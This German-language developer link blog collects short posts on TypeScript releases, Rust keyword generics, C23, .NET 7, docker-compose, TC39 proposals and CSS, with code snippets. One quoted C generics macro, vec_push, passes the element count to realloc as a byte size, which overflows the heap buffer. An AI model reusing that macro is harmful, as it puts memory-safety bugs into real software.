TypeScript 5 ist jetzt da. Hier sind auch schon die Pläne für TS 5.1. Die Sachen aus 5.1 lesen sich für mich spannender als die aus 5.0.
Die Leute bei Rust wollen das Coloring-Problem lösen. Den Artikel dazu hatte ich hier auch schon.
Der Versuch: Sagen, dass eine Funktion agnostisch bzw. “generisch bezüglich ihrer Asynchronizität” ist. Da hört es aber nicht auf, sie wollen das auch über const
generisch machen. Der Plan ist sogar, das in Zukunft auch für andere Keywords zu machen.
Das hier ist der erste Vorschlag: Keyword Generics Progress Report: February 2023
Money quote:
trait ?const ?async Read {
?const ?async fn read(&mut self, buf: &mut [u8]) -> Result<usize>;
?const ?async fn read_to_string(&mut self, buf: &mut String) -> Result<usize> { .. }
}
/// Read from a reader into a string.
?const ?async fn read_to_string(reader: &mut impl ?const ?async Read) -> io::Result<String> {
let mut string = String::new();
reader.read_to_string(&mut string).await?;
Ok(string)
}
Das ist ein Read-Trait, bei dem die read
-Funktion sowohl async
als auch const
sein kann. Primeagen (ein Rust-Enthusiast) ist nicht so begeistert. Wirt auf mich jetzt auch erstmal ziemlich verbose und bei einer Sprache, die bewusst keine Keywords mit mehr als 5 Buchstaben nimmt, fehl am Platz. Das haben sie aber offenbar auch selbst erkannt.
Zig möchte Funktionen auf diese Art farbenblind (manchmal auch farblos genannt) machen: What is Zig’s “Colorblind” Async/Await?
Hoffen wir mal, dass Rust nicht den Haskell-Tod der 1000 Abstraktionen stirbt.
Few lesser known tricks, quirks and features of C.
Ok den Kommentaren auf HN gibt’s noch mehr.
WebKit und Chrome können jetzt beide CSS-Nesting. (caniuse dazu). Ist noch ein WD, den die beiden Browser dort implementieren.
HTML+CSS: The Double Emphasis Thing
Ask HN: What are some cool but obscure data structures you know about?
Animationen mit Code erstellen. Erinnert ein bisschen an manim, die Rendering-Engine von 3blue1brown. Motion-Canvas könnte vielleicht noch async/await verwenden, dann wird das aber schwieriger mit vollautomatisiertem Rendering, denk ich.
Hier ist ein kleiner Bericht über die Anstrengungen der Browserhersteller, mehr Kompatibilität zu haben.
Die Festplatten-Statistiken von Backblaze sind da. WD schneidet mit Abstand am besten ab.
Zu Windows-8-Zeiten hat MS ein neues Dateisystem ausgerollt: ReFS. Das haben sie dann etwas abflachen lassen. Es könnte sein, dass ReFS bei Windows 11 wieder mehr Verwendung findet. Lange Zeit konnte man es nur auf Windows Server verwenden.
TypeScript 5.0 Beta ist da.
Zu ein paar Features hatte ich auch hier schonmal berichtet.
Ein interessanter Artikel über eine Anpassung bei einigen Concurrency-Modellen: Notes on structured concurrency, or: Go statement considered harmful
Erinnert ein bisschen an das Konzept von Erlang. Bei Java gibt’s gerade ein Proposal dazu: JEP 428. Ist auch bereits bekannt aus Kotlin.
Falls Ihr noch kein :has()
in CSS benutzt habt, diese Beiträge würden Euch sicher gefallen:
SQLite hat aktuell einen concurrent writer. Aktuell arbeiten sie an einer Erweiterung des DB-Formats, womit diese limitierung entfällt: HC-tree
Der Multi-Process-Support war deshalb immer etwas hakelig. Das zu verbessern ist jetzt eine Designziel.
Hier sind noch ein paar Benchmarks.
Das Norway-Problem bei YAML war ja schon einmal hier. Hier ist eine gute Zusammenfassung vieler Probleme bei YAML: The yaml document from hell
Ein AI-basierter Übersetzer von Code.
Datenstrukturdienstag hatten wir schon lange nicht mehr. Dafür mal etwas neueres: Der XOR-Filter (das Paper dazu).
Abstract:
The Bloom filter provides fast approximate set membership while using little memory. Engineers often use these filters to avoid slow operations such as disk or network accesses. As an alternative, a cuckoo filter may need less space than a Bloom filter and it is faster. Chazelle et al. proposed a generalization of the Bloom filter called the Bloomier filter. Dietzfelbinger and Pagh described a variation on the Bloomier filter that can be used effectively for approximate membership queries. It has never been tested empirically, to our knowledge. We review an efficient implementation of their approach, which we call the xor filter. We find that xor filters can be faster than Bloom and cuckoo filters while using less memory. We further show that a more compact version of xor filters (xor+) can use even less space than highly compact alternatives (e.g., Golomb-compressed sequences) while providing speeds competitive with Bloom filters.
Der Bund setzt auf Element (Matrix) als Messenger für Verwaltungen. Frankreich war da wohl ein guter Vorreiter.
Neues aus TC39:
Es wird daran gearbeitet, Übersetzungen direkt ok Browser zu machen: Intl.MessageFormat
und den Parser dazu.
Die Syntax dazu sieht so aus:
# Note! MF2 syntax is under development; this may still change
greeting = {Hello {$place}!}
new_notifications =
match {$count}
when 0 {You have no new notifications}
when one {You have {$count} new notification}
when * {You have {$count} new notifications}
Schon ganz interessant. Das Format “MF2” wird allerdings nicht von den Browserherstellern standardisiert, sondern vom Unicode-Konsortium.
In Stage 3 sind jetzt:
- Iterator-Helpers (filter/map/etc für Iterators)
- Set Methods. Ein paar längst überfällige Funktionen für Sets.
- Explicit Resource Management. Das ist ein
using
, wie man es aus C# kennt.
Die benamten Farben aus CSS, wenn man ein Color-Wheel daraus baut.
Ein Spiel für die Mittagspause: Can’t Unsee. Man muss aus 2 Designs immer das auswählen, das weniger schlimm ist. Bei manchen hat man wirklich Tomaten auf den Augen!
Ich hatte mal einen Post verlinkt, in dem erklärt wurde, wann React re-rendert. Gerade habe ich diesen schönen Post gefunden: Why React Re-Renders.
Hier ist noch ein ergänzender Talk: https://www.youtube.com/watch?v=lGEMwh32soc
Ein richtig guter Post über Pixels, Rem und Em in CSS: The Surprising Truth About Pixels and Accessibility.
Auch, wenn man den Unterschied schon kennt, ist es sinnvoll zu lesen!
Man sollte ja eigentlich immer calloc statt malloc verwenden. Das häufigste Argument ist, dass man bei calloc immer genullten Speicher bekommt, was man bei malloc erst von Hand nachbauen muss (viele aber dann einfach nicht machen). Hier sind noch zwei weitere Argumente: Why does calloc exist?
C# hat jetzt wirklich schon echt umfangreiches Pattern-Matching. Z. B. bei dieser Variante von AddAll sieht man das ganz gut:
T AddAll<T>(params T[] elements) where T : IMonoid<T> =>
elements switch
{
[] => T.Zero,
[var first, ..var rest] => first + AddAll<T>(rest),
};
Die List-Patterns lassen code auch schon sehr kompakt (aber zumindest für C# sehr ungewohnt) schreiben und funktionieren auch auf Strings und Char-Spans:
void MatchMessage(string message)
{
var result = message is ['a' or 'A', .. var s, 'a' or 'A']
? $"Message {message} matches; inner part is {s}."
: $"Message {message} doesn't match.";
Console.WriteLine(result);
}
MatchMessage("aBBA"); // output: Message aBBA matches; inner part is BB.
MatchMessage("apron"); // output: Message apron doesn't match.
void Validate(int[] numbers)
{
var result = numbers is [< 0, .. { Length: 2 or 4 }, > 0] ? "valid" : "not valid";
Console.WriteLine(result);
}
Validate(new[] { -1, 0, 1 }); // output: not valid
Validate(new[] { -1, 0, 0, 1 }); // output: valid
Zu .NET 7 hab ich ja schon einiges hier, vieles davon ist im Ankündigungspost auch noch mal drin.
Ein interessanter Post darüber, wie ein einziger Algorithmus von mehreren Leuten mit unterschiedlichen Kenntnissen implementiert wurde: From Junior to Genius: an optimization story
Ganz besonders gut finde ich, dass man sieht, dass “der hacker way” nicht immer der Beste ist. Speziell wegen der Lesbarkeit würde ich persönlich an der Stelle dann lieber eine der anderen Lösungen bevorzugen, selbst, wenn sie langsamer sind.
Der Meilenstein für TypeScript 5. Darunter:
Implement the Stage 3 Decorators Proposal
Das wird ziemlich schlimm. TS hat ja bereits Decorators, die von Angular- (und TypeORM-) Menschen schon viel benutzt werden. Ich war nie ein Fan davon. Dazu kommt, dass sich das Proposal, auf dem die Decorator baiseren, in der Zwischenzeit mehr als 2x verändert hat. Das wird noch interessant, wie das Ökosystem diese Migration schaffen wird.
Reduce typescript package size
TS ist mittlerweile >60 MiB groß. TS selbst benutzt intern keine ES-Module, sondern namespaces. Das ist ein überbleibsel aus den Anfängen von TS, als es noch viele Dinge aus C# übernommen hat (wie z. B. Enums). Jetzt gibt es einen PR, der das ändert. Das TS-Team ist damit das erste Mal damit konfrontiert, dass sie sehr viele Modul-Imports haben werden, da es die bei den Namespaces vorher nicht gab. Das wird die (aus meiner Sicht sehr einfache) Codestruktur des Compilers vielleicht langfristig ändern.
Aber das ist nicht, warum ich diesen PR verlinke. Sie konnten die Package-Größe von >60 MiB auf ~35 MiB senken. Wie? Neben ein bisschen Tree-Shaking und entfernen von identischen Dateien haben sie in einem Build-Prozess aus 4 Spaces einfach 2 Spaces gemacht. Hier hat jemand einen proof-of-concept gebracht und gezeigt, dass man noch mal 2 MiB runter bekommt, wenn man die 2 Spaces durch einen Tab ersetzt. Irrelevant für Komprimierung, aber ggf. relevant für einen Parser, der 2 MiB weniger lesen muss.
TypeScript Flag Deprecation Plan
Sie fangen an, alte Flags aus der Anfangszeit zu deprecaten und bis 2024 entfernen. Sowas gab es bisher noch nicht, daher müssen sie erstmal schauen, wie sie dort vorgehen. Die Kandidaten für die ersten Deprecations gefallen mir schon:
noFallthroughCasesInSwitch
- style concern; use a linter if this is not allowed in your coding styletarget: "ES3"
module
- Removeumd
,system
andamd
Ein weiteres Ticket, das mir persönlich nicht gefehlt, aber vielen anderen: Allow voluntary .ts suffix for import paths.
Der Hintergrund ist, dass TS keine Import-Pfade umschreibt. Was also in einem import * as a from "foo"
steht, bleibt da so. Mit dem Aufkommen von ESM muss man u. A. für Browser- und Deno-Kompatibilität ein “.js” dort dran hängen. Dann befindet man sich in der Situation, in der man in einer .ts
-Datei plötzlich eine andere .ts
-Datei als .js
-Datei importieren muss.
Warum mich das nicht stört: Wenn man TS als reinen Type-Checker sieht, ergibt das Sinn, wenn TS ist nichts weiteres als JS mit Typen. Im Extremfall wird es ausschließlich als Type-Checker verwendet (neuere Frontend-Stacks tun genau das, seitdem Babel und ESBuild TS-Syntax unterstützen).
Das wird durch das Type-Annotation-Proposal natürlich noch auf die Spitze getrieben. Letztendlich wäre dann die Idee: Ändere deine Dateiendung wieder zurück auf .js
und du hast von TS überprüften Code. Wenn man aber in der Zwischenzeit überall seine Importe auf .ts
geändert hat, um seine OCD zu befriedigen, hat man an der Stelle mehr arbeit.
LEGO is discontinuing MINDSTORMS in 2022 .
Das ist wirklich schade, damit haben sicherlich neben mir auch viele andere den Einstieg in Robotik und Informatik gefunden.
Falls es nicht nur an mir vorbei ging: Node.js 19.
npm 9 ist da.
Wir hatten ja schon SQLite nach WASM kompiliert im Browser. Jetzt gibt es auch Postgres im Browser.
1Hz CPU made in Minecraft running Minecraft at 0.1fps.
Kurze Erläuterung auf HN:
The program itself was written in an existing intermediate language called URCL, which was then compiled to CHUNGUS2 assembly. CHUNGUS2 is the processor made with Minecraft’s redstone mechanics. The processor was emulated for development, but the demo is running on MCHPRS, a Minecraft server that uses Wasmtime’s Cranelift to JIT the redstone operations, which are represented as a weighted directed graph. Before MCHPRS, optimizing redstone performance using compiler techniques was not thought to be possible. With MCHPRS the demo takes 9 hours to run, it would take decades using Minecraft.
Heutzutage kommt in JavaScript ja jedes Jahr ein neuer Standard, der die Jahreszahl im Namen hat. Früher hat man da ausschließlich hochgezählt. Der letzte, den man häufig unter seiner Zahl referenziert hat, war ES6. Vor ES6 gab es ES5, was 2009 kam. Damals war z. B. JSON.parse
neu. Vor ES5 war der Standard… ES3, aus 1999.
Was war eigentlich mit ES4? Heutzutage gibt es ja z. B. React, bei dem man in JavaScript eine eigene an HTML angelehnte Syntax für (Virtual-)DOM-Elemente hat.
In ES6 kam auch eine Syntax für Klassen. Für Interfaces und statische Typisierung wird heutzutage oft auch TypeScript eingesetzt.
Alles drei sind Sachen, die in ES4 vorgesehen waren. Dazu kamen sogar noch mehr Datentyüpen für Zahlen (int, byte, decimal, etc.). Hier gibt es eine Übersicht an ES4-Features, die dann niemals kamen.
Warum kam es nie? Dieser Post beantwortet das: The Real Story Behind ECMAScript 4
Für eine Mittagspause: John Regehr’s “Integers in C quiz”.
Es ist komplett an mir vorbei gegangen, dass C23 verabschieded wurde.
Meine Highlights:
- signed Integer sind jetzt definiert als Zweierkomplement
#embed
, womit man Rohdaten aus anderen Dateien inkludieren kann, z. B. in einem C-Array. Das wird so einige Buildprozesse vereinfachen.- Enums können jetzt einen zugrundeliegenden Typen haben:
enum e : unsigned short { x };
- Es gibt jetzt
nullptr
(undnullptr_t
) auch in C true
undfalse
sind jetzt Keywords0b
-Literale
Außerdem gibt es noch bessere Kompatibilität zwischen gleichförmigen Structs. Mit N3003 wird dieser Generics-Hack nun viable (Codebeispiel von Reddit übernommen):
#include <stdio.h>
#include <stdlib.h>
#define Vec(T) struct Vec__##T { T *at; size_t _len; }
#define vec_push(a,v) ((a)->at = realloc((a)->at, ++(a)->_len), (a)->at[(a)->_len - 1] = (v))
#define vec_len(a) ((a)._len)
void fill(Vec(int) *vec) {
for (int i = 0; i < 10; i += 2)
vec_push(vec, i);
}
int main() {
Vec(int) x = { 0 }; // or = {} in C2x
// pre C2x you'd need to typedef Vec(int) to make the pointers compatible and use it for `x` and in fill:
// --v
fill(&x);
for (size_t i = 0; i < vec_len(x); ++i)
printf("%d\n", x.at[i]);
}
Auf cppreference gibt es auch noch eine kleine Übersicht der Änderungen.
Weil ich den für .NET 6 auch verlinkt habe:
Performance Improvements in .NET 7.
Wie immer beeindruckend.
Interessante Idee für einen Editor: Ein Notepad mit eingebauter Erkennung für Einheiten und Berechnungen.
Letztens hatte ich einen Post zu selten verwendeten Features bei docker-compose
. Hier ein guter, aber oberflächlicher Artikel: 6 Docker Compose Best Practices for Dev and Prod
Daraufhin hat sich noch ein weiteres Feature aufgetan: profiles. Beispiel:
version: "3.9"
services:
frontend:
image: frontend
profiles: ["frontend"]
phpmyadmin:
image: phpmyadmin
depends_on:
- db
profiles:
- debug
backend:
image: backend
db:
image: mysql
Here the services
frontend
andphpmyadmin
are assigned to the profilesfrontend
anddebug
respectively and as such are only started when their respective profiles are enabled.
In den Kommentaren auf HN gibt es auch noch weitere Tipps.
.NET 7 Preview 7 ist da.
Interessante Neuerungen:
- Support für Unix File-Modes
- Ein Ersatz für
DllImport
(FFI), der Source Generators verwendet:LibraryImport
Es gibt eine Studie aus 2010, die die Lesbarkeit von camelCase
und snake_case
untersucht. Sie kommt zu dem Schluss, dass snake_case
um ca. 20% einfacher zu lesen ist. (Danke, Hans)
Das Proposal zum JSON.parse source text access ist gerade in Stage 3 gelandet.
Eine Sammlung an Standard-UI-Patterns mit CSS: csslayout.io.
TIL: Geek Code. Hier ist der Standard. Die Domain leitet heutzutage übrigens auf Google um.
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/IT/M/SS d- s-:++ a- C++ UL++ P--- L++ E---- W++N*
w++ PS+ PE- Y+ !O !K !M !V PGP+(++) !t R? !tv b e+++ z?
------END GEEK CODE BLOCK------
Das img
-Element hat ein decoding
-Attribut, mit dem man sagen kann, ob das Bild asynchron oder synchron dekodiert werden soll.
Gibt’s auch schon länger (Chrome 53, Firefox 63).
Heute habe ich gelernt: In docker-compose kann man sich sowas basteln, was ähnlich zu den Init-Containern aus k8s ist. Verwenden tut man dafür die depends_on
-Property des Services.
Bisher ging ich davon aus, dass man mit der Property nur festlegen kann, in welcher Reihenfolge die Container gestartet werden. Das bringt einem aber nicht viel, weil die Container üblicherweise unterschiedlich lange brauchen, um zu starten. Das geht mittlerweile besser, nur die Dokumentation erwähnt es (noch) nicht:
Bei den Elementen von depends_on
kann man conditions
angeben. Dort kann man sagen, in welchem Zustand die Abhängigkeit sein soll, bevor der Container gestartet wird.
services:
db:
image: mariadb:10
ports:
- "3306:3306"
init_db:
image: mariadb:10
command: /init-db.sh
volumes:
- ./init-db.sh:/init-db.sh
env_file:
- credentials.env
depends_on:
db:
condition: service_started
application:
# ...
depends_on:
init_db:
condition: service_completed_successfully
Durch das service_completed_successfully
sagt man, dass application
erst startet, wenn init_db
mit einem 0-Exit-Code beendet ist.
service_started
ist offenbar das, was sonst auch immer der Fall war (die Doku nennt es “legacy behaviour”).
Ich hab dann noch ein bisschen Recherche betrieben und rausgefunden:
Da geht noch mehr! Definiert man z. B. die Healthchecks, über die ich mal berichtet habe, kann man den Condition service_healthy
angeben. Diesen Status erhält ein Container, wenn er hochgefahren und sich durch den Healthcheck als “gesund” erkannt wurde.
Definiert man das in der Dockerfile
oder in der docker-compose.yml
, kann man damit sogar ein ./wait-for-it.sh
loswerden.
Da hat sich ja echt was getan bei docker-compose.
Wo wir gerade bei .NET 7 waren:
Die neue Preview (Preview 5) hat jetzt Support für “Generic Math”.
Das wird ermöglicht durch:
- Statische, abstrakte Interface-Member
- Dadurch Operatorüberladung, die in Interfaces spezifiziert ist
Interfaces konnten bis C# 11 keine statischen Member von einem Typen verlangen. So war es z. B. nicht möglich, zu verlangen, dass eine Klasse den +-Operator implementiert. Auch nicht mit einem Type-Constraint.
Auch das bekannte Muster Parse
und TryParse
war mehr Konvention als irgendwie erzwingbar, weil beide Methoden statisch sind. Aus dem Grund war eine Lösung, Klassen zu erstellen, von denen es nur eine Instanz gibt. Anders konnte man keinen Type-Constraint erfüllen, der durch Interfaces kam. Darüber habe ich schonmal berichtet.
Jetzt ist das ganze ist jetzt schon deutlich konkreter geworden. Die neuen Interfaces dazu sehen sehr cool aus. Man kann damit jetzt den Großteil der Rechenoperationen abstrahieren.
Den Nutzen kann man gut sehen, weil sie in der LINQ die Min
/Max
-Funktionen damit ersetzen konnten. Es fällt echt viel doppelter Code weg.
Es liegt jetzt natürlich nah, diese Interfaces auch bei den Vector-Typen aus System.Numerics
zu implementieren. Laut den Kommentaren in dem Artikel dazu wird das nicht mehr in .NET 7 passieren.
Auch neu:
.NET hat jetzt eine API, um TARs zu entpacken. Wenn man das mit dem bereits existierenden GZipStream
kombiniert, kann man also ganz leicht ohne externe Libraries jetzt eine tar.gz entpacken. Deflate und Brotli gibt es dort übrigens auch.
System.Text.Json
kann jetzt anhand von einem Diskriminator-Feld zwischen in verschiedene Basisklassen deserialisieren:
[JsonDerivedType(typeof(Base), typeDiscriminator: "base")]
[JsonDerivedType(typeof(Derived), typeDiscriminator: "derived")]
public class Base
{
public int X { get; set; }
}
public class Derived : Base
{
public int Y { get; set; }
}
// ...
Base value = JsonSerializer.Deserialize<Base>(@"{ ""$type"" : ""derived"", ""X"" : 0, ""Y"" : 0 }");
// value is a Derived instance
Was in dem Blogpost nicht steht, aber in der Issue zu der Änderung: Man kann die Property, auf die geschaut wird, wie folgt definieren:
[JsonPolymorphic(CustomTypeDiscriminatorPropertyName = "$case")]
(standardmäßig ist es "$type"
)
System.IO.Stream
hat jetzt ReadExactly
und ReadAtLeast
.
Das ist cool, weil das normale Read
möglicherweise weniger Daten zurückgibt. Dann muss man eigene Logik bauen, um den Rest auch noch zu lesen. Das ist manchmal echt nervig gewesen.
Um das etwas zu entkoppeln, gibt es übrigens noch was anderes: System.IO.Pipelines
.
Wenn Ihr eine Library baut, gibt’s noch eine interessante Neuerung:
Das StringSyntaxAttribute
. Das kann man an Member und Parameter kleben, um anzugeben, was der entsprechende String so für Daten enthält. So kann man z. B. sagen, dass soein String ein Regex-Pattern oder JSON enthält. Die IDE kann dann entsprechend highlighten und generell ne bessere Editing-Experience geben.
VS gibt’s jetzt auch für ARM64.
MS hat in .NET 5 schon deutliche Performancegewinne bei RegEx erzielen können.
Das ist in .NET 7 noch mal interessanter geworden.
Erste interessante Sache: Sie haben einen Source-Generator für RegEx gemacht. Damit wird das RegEx-Pattern zur Compile-Time der Anwendung schon kompiliert. Das spart Zeit bei dem initialen Aufruf und bietet ggf. noch Raum für mehr Optimierungen, weil es nicht zwangsweise schnell gehen muss. Dieser Generator ist allerdings Opt-In, weil man das RegEx-Objekt dafür auf eine bestimmte Art anlegen muss.
RegEx-Engines verwenden in der Praxis üblicherweise Backtracking, um nach Matches zu suchen. Ein Mensch der theoretischen Informatik würde jetzt fragen “warum das?”. Der Hintergrund ist, dass RegEx in den meisten Sprachen doch etwas mehr kann, als reguläre Ausdrücke einer regulären Sprache (z. B. Lookback References).
Verwendet man in seinem Pattern solche Konstrukte (Liste davon ist im verlinkten Blogpost) nicht, kann man alternativ eine RegEx-Engine verwenden, die einen DFA bzw. NFA konstruiert. Also das, was man im TI-Unterricht auch so lernt.
Der Vorteil davon: Die können in manchen Use-Cases schneller sein. Das sollte man abhängig von seinem Pattern und den Daten machen. Hilfe beim Entscheiden gibt einem der Blogpost. Man sollte jetzt also nicht hingehen und überall Backtracking entfernen. Backtracking wurde schon gut optimiert.
Ein paar weitere Änderungen sind SIMD-Vektorisierung und Support für Span<T>
.
Neues aus den Standards:
Die schon in Stage 3 befindlichen Funktionen groupBy
und groupyByToMap
wurden noch umbenannt: Sie heißen jetzt group
und groupToMap
. Man hat eine JS-Lib gefunden, die den Array-Prototypen monkeypatched hat.
String.dedent
, um Einrückungen von Template-Strings zu fixen.
Damit habe ich auch schon Probleme gehabt. Allerdings bin ich mir nicht sicher, ob man soeine Funktion mit guter DX umsetzen kann. In meinen Augen haben die immer Magie gemacht (sowas gibt es auch in Java und mittlerweile auch C#). Kennen tue ich das aus Xtend. Teilweise verändert sich das Verhalten, wenn man den String in einer eigenen Zeile anfängt oder es mit Tabs mischt.
Vielleicht ist es aber auch ganz einfach.
Eine Erweiterung zu JSON.parse, mit der man feststellen kann, aus was für einem String-Wert ein geparster Wert kommt. Und gleichzeitig das Verhalten von JSON.stringify
zu verändern.
Colle Idee.
Damit kann man basteln, dass man Timestamps nach JSON.parse
schon parst. Damit spart man sich einen zweiten Verarbeitungsschritt. Oder man kann das Serialisieren von Timestamps in einen Unix-Timestamp umbiegen, wenn eine API das braucht.
Ich hab ja schon über den AbortController
geschrieben. U. A. auch über die Convinience-Method AbortController.timeout(ms)
. Da gibt es jetzt noch etwas mehr von:
Einen Throw-Helper
AbortSignal.throwIfAborted()
Und bald gibt’s auch einen Combinator:
AbortSignal.any(signals)
Der ist noch in Entwicklung.
Array#findLast
und Array#findLastIndex
sind jetzt in Stage 4.
Useful utilities and services over DNS: dns.toys
Es gibt in HTTP nicht nur Header, sondern auch Trailer. Damit kann man Infos nachgelagert an den Client senden.
Wie es aussieht, implementieren die Browser das aber nur für HTTP2+. Auf CanIUse sieht es merkwürdig aus.
Gefunden habe ich dies in diesem Artikel über HTTP-Features. Dort wird auch ein Beispiel geliefert, wie die Trailer verwendet werden können, um Analyse-Timings an den Client auszuliefern:
const server = http.createServer(async function (req, res) {
res.writeHead(200, {
"Content-Type": "application/json",
Trailer: "Server-Timing",
});
const dbStart = performance.now();
const data = await db.getData();
const dbTime = performance.now() - dbStart;
res.write(JSON.stringify(data));
res.addTrailers({ "Server-Timing": `db;dur=${dbTime}` });
res.end();
});
Man kann seinen PGP-Key vom BSI mit dem ePerso signiren. Wäre vielleicht was für den Key, den man für Git verwendet.
Node.js bekommt ein rudimentäres Command-Line-Parsing. Damit wären für viele kleineren Tools keine librarys mehr notwendig.
Sammlung nützlicher Tools: A decade of dotfiles.
Interessante CSS-Property, die die Browser schon seit Ewigkeiten können: text-stroke. Leider implementieren es alle Browser mit -webkit
-Präfix (auch Firefox).
Heute lernte ich: Die SQLite-CLI kann ZIP-Dateien öffnen. Der Inhalt ist dann in Form einer virtuellen Tabelle sichtbar.
Weiter unten wird auch ein Command vorgestellt, das einem Indexe empfiehlt.
NVIDIA Releases Open-Source GPU Kernel Modules. Der Code ist hier: github.com/NVIDIA/open-gpu-kernel-modules
Edit:
Ich habe gerade mal durch die Readme geskimmt und das gesehen:
To build:
make modules -j`nproc`
Das wollte ich nicht glauben und hab es ausprobiert. Und tatsächlich, ein git clone
, gefolgt von make
lief komplett fehlerfrei durch. Dabei hab ich auf dem System nichtmal bestehende Nvidia Hard- oder Software, die der Code irgendwo noch referenzeiren könnte.
So eine gute Dev-Experience bin ich von C-Projekten nicht gewohnt. Das wird sicher die Einstiegshürde für Contributions senken.
Edit 2:
Eine Sache noch:
This code base is shared with NVIDIA’s proprietary drivers, and various processing is performed on the shared code to produce the source code that is published here. This has several implications for the foreseeable future:
- The github repository will function mostly as a snapshot of each driver release.
- We do not expect to be able to provide revision history for individual changes that were made to NVIDIA’s shared code base. There will likely only be one git commit per driver release.
- […]
Hoffen wir mal, dass sie daran arbeiten, diese Strukturen noch aufzubrechen.
Cloudflare hat für ihre Workers jetzt eine Datenbank: D1.
Was mich freut, ist, dass die auf SQLite basiert. Das zeigt, wie ausgewachsen SQLite ist.
In dem Beispiel ihres Use-Cases sieht man, dass sie Raw-SQL für die DB-Abfragen benutzen.
Für genau diesen Use-Case baue ich gerade an einer prototypischen Lösung: sequelts. Die Idee: Man nutzt die Turingvollständigkeit vom TS-Typsystem, um SQL-Querys auf Typebene zu parsen und den Rückgabetypen zu inferieren.
Bald wird es als proof-of-concept noch mit sowas wie sql-template-strings kombiniert. Wenn man das hat, hat man die Richtung für’s Abfragen von Daten typsicher (und mit erzwungenen Prepared Statements auch “secure”).
Danach schaue ich weiter, in wie weit man sicherstellen kann, dass es keine Veränderungen an den Daten gibt, die nicht zulässig sind. Das steht aber noch in den Sternen.
JS-APIs, die kaum jemand kennt; heute: Dem Browser sagen, dass ein Textfeld für einen SMS-OPT-Code gedacht ist, mit WebOTP (MDN, Standard, Chrome-Blog).
Grundidee: Man setzt das autocomplete
-Attribut des input
-Elements auf one-time-code
, macht dann ein bisschen JavaScript und hat ein bestimmtes Format in der SMS, die man verschickt.
Auf CanIUse ist es noch nicht gelistet. Mozilla hat auch noch keine Stellung dazu. Der Standard kommt offenbar ausschließlich von Google.
Ein sehr interessanter Talk über undefined behaviour in C und C++: Garbage In, Garbage Out: Arguing about Undefined Behavior von Chandler Carruth; entwickelt für Google an LLVM und Clang.
Er erklärt, warum UB im Kontext von C und C++ Sinn ergibt, gibt ein paar Beispiele und reflektiert, was für Fehler man im Standard und bei den Implementierungen gemacht hat.
VS2022 kann neben normalen Breakpoints, conditional Breakpoints und Tracepoints jetzt auch “temporary Breakpoints” (Breakpoint, der nur 1x anschlägt) und “dependent Breakpoints” (schlägt nur an, wenn ein bestimmter anderer Breakpoint vorher angeschlagen hat) kann
Ein schöner Talk von Matt Godbolt: What Has My Compiler Done for Me Lately? Unbolting the Compiler’s Lid.
Für die, die ihn nicht kennen: Das ist der, der den Compiler Explorer gebaut hat: https://gcc.godbolt.org
Damit kann man sich anschauen, was für Assembler-Code verschiedene Compiler aus Code erzeugen. Mittlerweile auch für andere Sprachen als C und C++.
Der Talk ist sehr schön und zeigt, was für Optimierungen der Compiler mittlerweile alle fährt. Ein Beispiel ist die Integer-Mulitplikation mit 2, also z. B. x * 2
. Spoiler: Es ist nicht x << 1
. Aber auch ein paar größere Beispiele sind durchaus beeindruckend.
Takeaway sollte sein: Optimiert nicht selbst, lasst das den Compiler machen.
Ich würde noch ergänzen: Wählt geeignete Datenstrukturen.
Heute lernte ich die HEALTHCHECK
-Instruktion bei Dockerfiles. Damit kann ein Container einen Befehl definieren, mit dem man rausbekommen kann, ob der Container gerade “Healthy” ist. Erinnert ein bisschen an die Probes aus K8s.
HEALTHCHECK --start-period=10s --timeout=10s \
CMD curl --fail http://localhost:80 || exit 1
Man kann das auch in einer Compose-File definieren.
Interessant: Das Globale nonce
-Attribut in HTML. Interessant für alle, die CSP machen.
Eine halbe Datenstruktur: Linked timestamping
Chris Lattner on garbage collection vs. Automatic Reference Counting.
Chris Lattner ist der Designer von Swift und ursprünglicher Hauptauthor von LLVM.
Noch mehr C#-11-Preview: C# 11 Preview Updates – Raw string literals, UTF-8 and more!.
Noch ein Feature, das nicht viele kennen:
Statische Größenangaben bei Arrays in Funktionsparametern:
void bar(int myArray[static 10]);
Checkt auf NULL-Pointer und prüft, ob die Größe des Arrays mindestens die geforderte Größe hat:
bar(NULL);
// warning: null passed to a callee which requires a non-null argument [-Wnonnull]
// bar(NULL);
// ^ ~~~~
int a[9];
bar(a);
// warning: array argument is too small; contains 9 elements, callee requires at least 10 [-Warray-bounds]
// bar(a);
// ^ ~
int b[11];
bar(b);
Noch ein Feature, das wenige kennen: Man kann angeben, dass ein Array so viele Elemente wie ein anderer Parameter der Funktion haben soll:
#include <stddef.h>
void baz(size_t n, int b[static n]);
int main() {
int a[] = {1, 2, 3, 4};
baz(4, a); // ok
baz(9, a); // warning: 'baz' accessing 36 bytes in a region of size 16 [-Wstringop-overflow=]x86-64 gcc 11.2 #1
return 0;
}
Zumindest die Warnung ist GCC-spezifisch. Clang zeigt keine Warnung an. Konnte leider nicht rausfinden, ob dieses Feature generell eine Extension ist. Ich glaube, das war im Standard, allerdings nur für Dokumentationszwecke angedacht. Um das “richtig” zu Type-Checken fehlt C das notwendige Typsystem.
In C kann man Arrays mit Enum-Membern initialisieren. Auszug:
enum Fruit_t {
APPLES,
ORANGES,
STRAWBERRIES = 8
};
void foo()
{
static const int price_lookup[] = {
[APPLES] = 6,
[ORANGES] = 10,
[STRAWBERRIES] = 55
};
}
Sehr kurzer Einblick, was x86 anders macht als andere Architekturen: The x86 architecture is the weirdo.
Update aus einem Kommentar auf HN:
The x86 has a small number (8) of general-purpose registers
x86-64 added more general-purpose registers.
The x86 uses the stack to pass function parameters; the others use registers.
OS vendors switched to registers for x86-64.
The x86 forgives access to unaligned data, silently fixing up the misalignment.
Now ubiquitous on application processors.
The x86 has variable-sized instructions. The others use fixed-sized instructions.
ARM introduced Thumb-2, with a mix of 2-byte and 4-byte instructions, in 2003. PowerPC and RISC-V also added some form of variable-length instruction support. On the other hand, ARM turned around and dropped variable-length instructions with its 64-bit architecture released in 2011.
The x86 has a strict memory model … The others have weak memory models
Still x86-only.
The x86 supports atomic load-modify-store operations. None of the others do.
As opposed to load-linked/store-conditional, which is a different way to express the same basic idea? Or is he claiming that other processors didn’t support any form of atomic instructions, which definitely isn’t true?
At any rate, ARM previously had load-linked/store-conditional but recently added a native compare-and-swap instruction with ARMv8.1.The x86 passes function return addresses on the stack. The others use a link register.
Still x86-only.
Brave shippt jetzt mit einem Feature namens De-AMP. Damit umgeht man das AMP von Google, zwecks Privatsphäre.
Die Kommentare auf HN sind auch interessant.
